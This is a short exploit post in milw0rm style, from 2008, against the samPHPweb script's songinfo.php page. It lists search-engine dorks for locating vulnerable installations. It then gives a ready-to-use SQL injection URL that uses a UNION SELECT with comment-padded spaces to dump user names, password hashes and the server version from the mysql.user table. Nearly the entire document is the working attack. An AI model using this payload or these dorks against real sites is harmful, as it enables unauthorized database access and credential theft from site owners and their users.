11 lines
No EOL
574 B
Text
11 lines
No EOL
574 B
Text
Title:samPHPweb (songinfo.php) Remote SQL Injection
|
|
Script:samPHPweb
|
|
Download:http://www.spacialaudio.com/download/samPHPweb.zip
|
|
Bug:songinfo.php
|
|
Author:BackDoor
|
|
Dork1:inurl:samPHPweb/playing.php
|
|
Dork2:This page was produced using SAM Broadcaster. © Copyright Spacial Audio Solutions, LLC 1999 - 2004.
|
|
Exploit:
|
|
www.victim.com/scriptpath/songinfo.php?songid=-1/**/UNION/**/SELECT/**/0,1,2,3,4,5,6,7,8,9,10,11,12,13,password,user,16,17,18,19,20,21,22,23,24,@@version,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44/**/from/**/mysql.user
|
|
|
|
# milw0rm.com [2008-01-05] |